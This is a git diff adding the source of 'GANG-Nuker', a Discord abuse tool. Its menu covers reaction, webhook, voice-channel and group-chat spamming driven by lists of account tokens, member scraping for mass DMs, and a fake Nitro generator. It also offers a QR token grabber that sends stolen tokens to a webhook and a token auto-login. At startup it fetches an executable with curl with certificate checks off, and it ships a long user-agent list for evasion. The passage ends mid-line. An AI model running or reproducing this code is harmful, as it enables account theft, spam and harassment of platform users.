input('[\x1b[95m>\x1b[95m\x1B[37m] Message ID?: ') + emoji = input('[\x1b[95m>\x1b[95m\x1B[37m] Emoji?: ') + delay = int(input('[\x1b[95m>\x1b[95m\x1B[37m] Delay?: ')) + for token in tokens: + time.sleep(delay) + threading.Thread(target=reaction, args=(chd, iddd, emoji, token)).start() + + time.sleep(1) + exit = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# NICKNAME CHANGER + if choice == '14': + Spinner() + setTitle(f"Nickname Changer | ") + def changenick(server, nickname, token): + headers = mainHeader(token) + + r = requests.patch(f"https://discord.com/api/v9/guilds/{server}/members/@me/nick", headers=headers, + json={"nick": nickname}) + if r.status_code == 200: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Nickname Changed ') + if r.status_code != 200: + print(f'[{Fore.LIGHTRED_EX}-{Fore.RESET}] Cant Change Nickname... {Fore.RESET}') + + tokens = open('tokens.txt', 'r').read().splitlines() + server = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ") + nick = input("[\x1b[95m>\x1b[95m\x1B[37m] Nickname?: ") + for token in tokens: + threading.Thread(target=changenick, args=(server, nick, token)).start() + + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# WEBHOOK SPAMMER + if choice == '15': + Spinner() + setTitle(f"Webhook Spammer | ") + session = requests.Session() + webhook = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Webhook URL: ") + message = input("[\x1b[95m>\x1b[95m\x1B[37m] Message: ") + username = input("[\x1b[95m>\x1b[95m\x1B[37m] Webhook Username?: ") + + def gang(): + session.post(webhook,json = {"content":message,"username":username}) + + while True: + for i in range(15): + threading.Thread(target=gang).start() + gang() + + + +# VC SPAMMER + if choice == '16': + Spinner() + setTitle(f"Voice Call Spammer | ") +# tokenfaster = open(easygui.range.faster(), 'r').run().splitlines() + tokenlist = open(easygui.fileopenbox(), 'r').read().splitlines() + channel = int(input("\n[\x1b[95m>\x1b[95m\x1B[37m] Voice Channel ID: ")) + server = int(input("[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ")) + deaf = input("[\x1b[95m>\x1b[95m\x1B[37m] Defean: (y/n)? ") + if deaf == "y": + deaf = True + if deaf == "n": + deaf = False + mute = input("[\x1b[95m>\x1b[95m\x1B[37m] Mute: (y/n)? ") + if mute == "y": + mute = True + if mute == "n": + mute = False + stream = input("[\x1b[95m>\x1b[95m\x1B[37m] Stream: (y/n)? ") + if stream == "y": + stream = True + if stream == "n": + stream = False + video = input("[\x1b[95m>\x1b[95m\x1B[37m] Video: (y/n)? ") + if video == "y": + video = True + if video == "n": + video = False + + executor = ThreadPoolExecutor(max_workers=int(1000)) + def run(token): + while True: + ws = WebSocket() + ws.connect("wss://gateway.discord.gg/?v=8&encoding=json") + hello = loads(ws.recv()) + heartbeat_interval = hello['d']['heartbeat_interval'] + ws.send(dumps({"op": 2,"d": {"token": token,"properties": {"$os": "windows","$browser": "Discord","$device": "desktop"}}})) + ws.send(dumps({"op": 4,"d": {"guild_id": server,"channel_id": channel,"self_mute": mute,"self_deaf": deaf, "self_stream?": stream, "self_video": video}})) + ws.send(dumps({"op": 18,"d": {"type": "guild","guild_id": server,"channel_id": channel,"preferred_region": "singapore"}})) + ws.send(dumps({"op": 1,"d": None})) + sleep(0.1) + + i = 0 + + for token in tokenlist: + executor.submit(run, token) + i+=1 + print("[\x1B[32m>\x1B[32m\x1B[37m] Joined VC") + sleep(0.01) + yay = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER to Stop VC Spammer!") + + + +# PATCH NOTES + if choice == '17': + Spinner() + setTitle(f"Patch Notes | ") + SlowPrint("\n[\x1b[95m>\x1b[95m\x1B[37m] UPDATED Patch Notes:\n") + print(f'\n[\x1b[95m#\x1b[95m\x1B[37m] Server MassDM (OUTDATED) - (adding API v10 in next UPDATE!)\n[\x1b[95m#\x1b[95m\x1B[37m] DM Spammer (OUTDATED) - (adding captcha key API in next UPDATE!)\n[\x1b[95m#\x1b[95m\x1B[37m] Reaction Spammer (OUTDATED) - (Need to update the headers!)') + + time.sleep(1) + exit = input('\n\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# ABOUT/ACTIVITY + if choice == '18': + Spinner() + setTitle(f"About/Activity | ") + http.client._is_legal_header_name = re.compile(b'[^\\s][^:\\r\\n]*').fullmatch + print(f'\n[\x1b[95m1\x1b[95m\x1B[37m] About Changer') + print(f'[\x1b[95m2\x1b[95m\x1B[37m] Activity Status Changer') + changg = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Choice: ') + if changg == '1': + + def abouttt(token, abbb): + try: + headers = secondHeader(token) + rd = requests.patch('https://discord.com/api/v9/users/@me', headers=headers, json={'bio': abbb}) + if rd.status_code == 200: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Done') + else: + print( + f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Error") + except: + print('Error!') + + tokens = open('tokens.txt', 'r').read().splitlines() + ab = input(f'[{m}>]{Fore.RESET} About: ') + for token in tokens: + threading.Thread(target=abouttt, args=(token, ab)).start() + + if changg == '2': + def activity(token, act): + ws = websocket.WebSocket() + actt = 'Online' + ws.connect('wss://gateway.discord.gg/?v=6&encoding=json') + gjs = {'name': act, + 'type': 0} + auth = {'op': 2, + 'd': {'token': token, + 'properties': {'$os': sys.platform, + '$browser': 'RTB', + '$device': f"{sys.platform} Device"}, + 'presence': {'game': gjs, + 'status': actt, + 'since': 0, + 'afk': False}}, + 's': None, + 't': None} + ws.send(json.dumps(auth)) + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Activity Status: {act}') + + tokens = open('tokens.txt', 'r').read().splitlines() + text = input('[\x1b[95m>\x1b[95m\x1B[37m] Activity Status: ') + for token in tokens: + threading.Thread(target=activity, args=(token, text)).start() + + time.sleep(1) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press Enter: ') + exit = clear() + exit = spammer() + + + +# SERVER LOOKUP + if choice == '19': + Spinner() + setTitle(f"Server Lookup | ") + exec(open('utilities/Plugins/Server_Lookup.py').read()) + + + +# TOKEN INFOMATION + if choice == '20': + Spinner() + token = input( + f'\n[\x1b[95m>\x1b[95m\x1B[37m] Account Token: ') + validateToken(token) + utilities.Plugins.Token_Info.Info(token) + + + +# STATUS CHANGER + if choice == '21': + Spinner() + setTitle(f"Status Changer | ") + def ChangeStatus(token, status): + session = requests.Session() + headers = { + 'authorization': token, + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.306 Chrome/78.0.3904.130 Electron/7.1.11 Safari/537.36', + 'content-type': 'application/json' + } + data = '{"custom_status":{"text":"' + status + '"}}' + r = session.patch('https://discordapp.com/api/v6/users/@me/settings', headers=headers, data=data) + print('[\x1B[32m>\x1B[32m] Done') + + tokens = open('tokens.txt', 'r').read().splitlines() + status = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Status?: ') + for token in tokens: + threading.Thread(target=ChangeStatus, args=(token, status)).start() + + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# GROUPCHAT SPAMMER + if choice == '22': + Spinner() + setTitle(f"GroupChat Spammer | ") + token = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Token: ') + UserID = input('[\x1b[95m>\x1b[95m\x1B[37m] User ID: ') + group = input('[\x1b[95m>\x1b[95m\x1B[37m] Group Names: ') + manygr = int(input('[\x1b[95m>\x1b[95m\x1B[37m] How Many Groups: ')) + + headers = mainHeader(token) + + + for i in range(manygr): + try: + r = requests.post('https://discord.com/api/v9/users/@me/channels', headers=headers, + json={"recipients": []}) + + jsr = json.loads(r.content) + groupID = jsr['id'] + time.sleep(0.5) + r1 = requests.patch(f'https://discord.com/api/v9/channels/{groupID}', headers=headers, + json={'name': group}) + if r1.status_code == 200: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Group created') + + with open("data/groups.txt", "w") as groupID: + groupID.write(jsr['id'] + '\n') + + except: + print(f'[{Fore.LIGHTRED_EX}-{Fore.RESET}] RateLimited for {jsr["retry_after"]} seconds'), time.sleep(jsr['retry_after']) + + scrIds = random.choice(open('data/groups.txt').readlines()) + grID = scrIds.strip('\n') + r2 = requests.put(f'https://discord.com/api/v9/channels/{grID}/recipients/{UserID}', + headers={'Authorization': token}) + if r2.status_code == 204: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Group Members: {UserID}') + + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# AUTO LOGIN + if choice == '23': + Spinner() + setTitle(f"Token Auto Login | ") + token = input( + f'\n[\x1b[95m>\x1b[95m\x1B[37m] Account Token: ') + validateToken(token) + utilities.Plugins.Auto_Login.TokenLogin(token) + + + +# DM DELETER + if choice == '24': + Spinner() + setTitle(f"DM Deleter | ") + token = input( + f'\n[\x1b[95m>\x1b[95m\x1B[37m] Account Token: ') + validateToken(token) + processes = [] + channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json() + if not channelIds: + print(f"[\x1b[95m>\x1b[95m\x1B[37m] This Token Has 0 Dms to Delete!") + sleep(2) + spammer() + for channel in [channelIds[i:i+3] for i in range(0, len(channelIds), 3)]: + t = threading.Thread(target=utilities.Plugins.DM_Deleter.DmDeleter, args=(token, channel)) + t.start() + processes.append(t) + for process in processes: + process.join() + input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + + + +# TOKEN GENERATOR + if choice == '25': + Spinner() + setTitle(f"Token Generator | ") + gh = input(f""" +Token Generator is in the Paid Version of GANG-Nuker!\nIf You Are Wanting to Purchase Make Sure to Checkout the Offical GANG-Nuker Website! + +[\x1b[95m1\x1b[95m\x1B[37m] GANG-Nuker Website +[\x1b[95m2\x1b[95m\x1B[37m] Exit + +[\x1b[95m>\x1b[95m\x1B[37m] Choice?: """) + + if gh in ['01','1']: + webbrowser.open('https://gangnuker.org') + elif gh in ['02','2']: + exit = spammer() + else: + print('') + + + +# NITRO GENERATOR + if choice == '26': + Spinner() + setTitle(f"Nitro Generator | ") + + webhooklink = str(input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Webhook URL: ")) + + count = 0 + + webhook = "~~WEBHOOK_URL~~""".replace("~~WEBHOOK_URL~~", webhooklink) + + while True: + try: + code = ''.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(24)) + post = {"content":"https://discord.com/billing/promotions/"+code} + head = { + + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + 'content-type' : 'application/json' + } + count += 1 + print(f'[{g}>{Fore.RESET}] Generated Nitro | [{count}]') + s = requests.post(webhook, json=post, headers=head) + except: + print(f"[{r}!{Fore.RESET}] ERROR!") + break + + + + +# QR TOKEN GRABBER + elif choice == '27': + Spinner() + setTitle(f"QR Token Grabber | ") + WebHook = input( + f'\n[\x1b[95m>\x1b[95m\x1B[37m] Webhook URL: ') + validateWebhook(WebHook) + utilities.Plugins.QR_Grabber.QR_Grabber(WebHook) + + + +# MEMBER ID SCRAPER + if choice == '28': + Spinner() + setTitle(f"Member ID Scraper | ") + tukan = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Account Token: ') + guildd = input('[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ') + chann = input('[\x1b[95m>\x1b[95m\x1B[37m] Channel ID: ') + bot = discum.Client(token=tukan) + + def closefetching(resp,guildid): + if bot.gateway.finishedMemberFetching(guildid): + lenmembersfetched = len(bot.gateway.session.guild(guildid).members) + print(str(lenmembersfetched)) + bot.gateway.removeCommand({'function':closefetching, 'params':{'guildid':guildid}}) + bot.gateway.close() + + def getmembers(guildid,channelid): + bot.gateway.fetchMembers(guildid, channelid, keep='all',wait=1) + bot.gateway.command({'function':closefetching,'params':{'guildid':guildid}}) + bot.gateway.run() + bot.gateway.resetSession() + return bot.gateway.session.guild(guildid).members + + members = getmembers(guildd, chann) + memberids = [] + + for memberId in members: + memberids.append(memberId) + + cls() + + with open('data/massdm_IDs.txt','w') as ids: + for element in memberids: + ids.write(element + '\n') + + print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Finished Scraping {len(memberids)} Members!\n(The members have already been put into the correct files for spamming!)') + + time.sleep(1) + exit = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# PFP CHANGER + if choice == '29': + Spinner() + setTitle(f"PFP Changer | ") + def change_pfp(): + + tokens = open('tokens.txt', 'r').read().splitlines() + token = random.choice(tokens) + + picture = [f for f in os.listdir("utilities/Avatars/") if isfile(join("utilities/Avatars/", f))] + random_picture = random.choice(picture) + + with open(f'utilities/Avatars/{random_picture}', "rb") as image_file: + encoded_string = base64.b64encode(image_file.read()) + + headers = { + 'authority': 'discord.com', + 'accept': '*/*', + 'accept-language': 'en-GB,en;q=0.9', + 'authorization': token, + 'cookie': '__dcfduid=904754d01e0f11edbc8e137cc7c473ca; __sdcfduid=904754d11e0f11edbc8e137cc7c473caaf269406fe90d738955d66c8929cd997a08c8669ef42a295aac84cc43230a150; __cf_bm=uXHYoYl9KmWotP8UeGBa6PejMQCeibzDkDYmf2MsY9s-1660728773-0-AS+XIQ7NNSyCZ4NlcXTdL0oVGueHXZdj2D0+lSifopWh7sUykquNKC/lA3UpNMqVrjBh728hF1wibQBsBEFv69LTkEam4T1CLerS8v2rjGVq0ZwVEPXbnDz7iPfEX8AvEA==; locale=en-GB', + 'origin': 'https://discord.com', + 'referer': 'https://discord.com/@me', + 'sec-ch-ua': '"Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"', + 'sec-ch-ua-mobile': '?0', + 'sec-ch-ua-platform': '"Windows"', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'same-origin', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36', + 'x-discord-locale': 'en-GB', + 'x-super-properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVtX2xvY2FsZSI6ImVuLUdCIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwNC4wLjAuMCBTYWZhcmkvNTM3LjM2IiwiYnJvd3Nlcl92ZXJzaW9uIjoiMTA0LjAuMC4wIiwib3NfdmVyc2lvbiI6IjEwIiwicmVmZXJyZXIiOiIiLCJyZWZlcnJpbmdfZG9tYWluIjoiIiwicmVmZXJyZXJfY3VycmVudCI6IiIsInJlZmVycmluZ19kb21haW5fY3VycmVudCI6IiIsInJlbGVhc2VfY2hhbm5lbCI6InN0YWJsZSIsImNsaWVudF9idWlsZF9udW1iZXIiOjE0MjAwMCwiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0=', + } + + json = { + 'avatar': f"data:image/png;base64,{(encoded_string.decode('utf-8'))}", + } + + r = requests.patch('https://discord.com/api/v9/users/@me', headers=headers, json=json) + if r.status_code == 200: + print(f"\n[{g}+{Fore.RESET}] Successfully Changed PFP | {token}") + else: + print(f"[{r}!{Fore.RESET}] Error...") + + + threads = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Amount of PFP?: ") + for i in range(int(threads)): + threading.Thread(target=change_pfp).start() + + + +# ABOUT + if choice == '30': + Spinner() + setTitle(f"About | ") + Write.Print("\nHello, thanks for using GANG-Nuker!\nif you run into any problems make sure to let me know asap!\nDiscord: ††#9999\nGithub: https://github.com/TT-Tutorials\nWebsite: https://gangnuker.org\n\n", Colors.purple_to_blue, interval=0.015) + + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# THREADS + if choice == '31': + Spinner() + setTitle(f"Threads: [{threads}] | ") + print(f"\n[\x1b[95m#\x1b[95m\x1B[37m] Current Thread: {lr}{threads}{Fore.RESET}") + try: + amount = int( + input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Thread Amount: ')) + except ValueError: + print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] | Invalid Amount!') + sleep(1.5) + spammer() + if amount >= 40: + print(f"[{Fore.RED}ERROR{Fore.RESET}] | Having {Fore.RED}{amount}{Fore.RESET} Will Cause Ratelimited, Try Something Lower...!") + sleep(4) + spammer() + elif amount >= 15: + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Having More Than 15 Threads Can Cause Lag and Ratelimit... [{Fore.RED}{amount}{Fore.RESET}]\nContinue With High Threads?") + yesno = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] y/n?: ') + if yesno.lower() != "y": + sleep(0.5) + spammer() + threads = amount + SlowPrint(f"\nChanged Thread to: [\x1b[95m{amount}\x1b[95m\x1B[37m]") + sleep(1.5) + spammer() + + + +# EXIT + if choice == '32': + Spinner() + exit = True if input(f"\n[{Fore.LIGHTMAGENTA_EX}>{Fore.RESET}] Are You Sure You Want To Exit GANG-Nuker? Y/N: ").lower() == "y" else spammer() or "n" == sys.exit(0) + else: + print(f"") + time.sleep(0) + return spammer() + + + + +# AUTO DOWNLOAD DRIVERS +if __name__ == "__main__": + import sys + setTitle(f"Dowloading Drivers | ") + os.system("""if not exist "./chromedriver.exe" echo [+] Downloading Drivers: """) + os.system("""if not exist "./chromedriver.exe" curl -#fkLo "./chromedriver.exe" "https://github.com/TT-Tutorials/addons/raw/main/chromedriver.exe" """) + if os.path.basename(sys.argv[0]).endswith("exe"): + search_for_updates() + if not os.path.exists(getTempDir()+"\\gang_proxies"): + proxy_scrape() + clear() + else: + search_for_updates() + if not os.path.exists(getTempDir()+"\\gang_proxies"): + proxy_scrape() + clear() + spammer() \ No newline at end of file diff --git a/data/channels.txt b/data/channels.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/groups.txt b/data/groups.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/info.txt b/data/info.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/massdm_IDs.txt b/data/massdm_IDs.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/massmention.txt b/data/massmention.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/members.txt b/data/members.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/roles.txt b/data/roles.txt new file mode 100644 index 0000000..e69de29 diff --git a/data/useragent.txt b/data/useragent.txt new file mode 100644 index 0000000..858b639 --- /dev/null +++ b/data/useragent.txt @@ -0,0 +1,1000 @@ +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.94 Chrome/37.0.2062.94 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 +Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/7.1.8 Safari/537.85.17 +Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.5 Safari/600.5.17 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 +Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) +Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 7077.134.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.156 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16 +Mozilla/5.0 (Windows NT 6.0; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B466 Safari/600.1.4 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.18 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4 +Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 +Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53 +Mozilla/5.0 (Linux; U; Android 4.4.3; en-us; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2 +Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/45.0.2454.68 Mobile/12H321 Safari/600.1.4 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4 +Mozilla/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53 +Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; ARM; Trident/7.0; Touch; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 +Mozilla/5.0 (iPhone; CPU iPhone 